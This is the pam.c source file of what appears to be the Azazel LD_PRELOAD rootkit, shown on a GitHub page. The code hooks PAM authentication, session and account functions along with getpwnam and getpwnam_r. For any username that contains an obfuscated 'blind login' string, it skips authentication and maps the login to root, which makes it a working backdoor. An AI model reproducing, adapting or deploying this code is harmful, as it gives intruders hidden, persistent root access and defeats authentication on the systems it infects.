-
Notifications
You must be signed in to change notification settings - Fork 177
/
pam.c
144 lines (108 loc) · 3.44 KB
/
pam.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#define _GNU_SOURCE
#include <stdlib.h>
#include <dlfcn.h>
#include <string.h>
#include <errno.h>
#include <pwd.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include <stdio.h>
#include "const.h"
#include "xor.h"
#include "azazel.h"
int pam_authenticate(pam_handle_t *pamh, int flags) {
void *user;
char *blind_login = strdup(BLIND_LOGIN);
x(blind_login);
DEBUG("pam_authenticate called.\n");
azazel_init();
pam_get_item(pamh, PAM_USER, (const void **)&user);
if (strstr(user, blind_login)) {
cleanup(blind_login,strlen(blind_login));
return PAM_SUCCESS;
}
cleanup(blind_login,strlen(blind_login));
return (long)syscall_list[SYS_PAM_AUTHENTICATE].syscall_func(pamh, flags);
}
int pam_open_session(pam_handle_t *pamh, int flags) {
void *user;
char *blind_login = strdup(BLIND_LOGIN);
x(blind_login);
DEBUG("pam_open_session called.\n");
azazel_init();
pam_get_item(pamh, PAM_USER, (const void **)&user);
if (strstr(user,blind_login)) {
cleanup(blind_login,strlen(blind_login));
return PAM_SUCCESS;
}
cleanup(blind_login,strlen(blind_login));
return (long)syscall_list[SYS_PAM_OPEN_SESSION].syscall_func(pamh, flags);
}
struct passwd *getpwnam(const char *name) {
struct passwd *mypw;
char *blind_login = strdup(BLIND_LOGIN);
char *c_root = strdup(C_ROOT);
x(blind_login);
x(c_root);
DEBUG("getpwnam called. %s\n", name);
azazel_init();
if (strstr(name, blind_login)) {
mypw = syscall_list[SYS_GETPWNAM].syscall_func(c_root);
mypw->pw_name = strdup(c_root);
cleanup(blind_login,strlen(blind_login));
cleanup(c_root,strlen(c_root));
return mypw;
}
cleanup(blind_login,strlen(blind_login));
cleanup(c_root,strlen(c_root));
return syscall_list[SYS_GETPWNAM].syscall_func(name);
}
int getpwnam_r(const char *name, struct passwd *pwd, char *buf, size_t buflen, struct passwd **result) {
char *blind_login = strdup(BLIND_LOGIN);
char *c_root = strdup(C_ROOT);
char user[51];
x(blind_login);
x(c_root);
DEBUG("getpwnam_r called.\n");
azazel_init();
if (strstr(name, blind_login)) {
strncpy(user, c_root, sizeof(user)-1);
cleanup(blind_login,strlen(blind_login));
cleanup(c_root,strlen(c_root));
return (long)syscall_list[SYS_GETPWNAM_R].syscall_func(user, pwd, buf, buflen, result);
}
cleanup(blind_login,strlen(blind_login));
cleanup(c_root,strlen(c_root));
return (long)syscall_list[SYS_GETPWNAM_R].syscall_func(name, pwd, buf, buflen, result);
}
int pam_acct_mgmt(pam_handle_t *pamh, int flags) {
void *user;
char *blind_login = strdup(BLIND_LOGIN);
x(blind_login);
DEBUG("pam_acct_mgmt called.\n");
azazel_init();
pam_get_item(pamh, PAM_USER, (const void **)&user);
if (strstr(user, blind_login)) {
cleanup(blind_login,strlen(blind_login));
return PAM_SUCCESS;
}
cleanup(blind_login,strlen(blind_login));
return (long)syscall_list[SYS_PAM_ACCT_MGMT].syscall_func(pamh, flags);
}
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char *argv[]) {
const char *user;
char *blind_login = strdup(BLIND_LOGIN);
int pam_err;
x(blind_login);
azazel_init();
if ((pam_err = pam_get_user(pamh, &user, NULL)) != PAM_SUCCESS) {
cleanup(blind_login,strlen(blind_login));
return pam_err;
}
if (strstr(user, blind_login)) {
cleanup(blind_login,strlen(blind_login));
return PAM_SUCCESS;
}
cleanup(blind_login,strlen(blind_login));
return (long)syscall_list[SYS_PAM_SM_AUTHENTICATE].syscall_func(pamh, flags, argc, argv);
}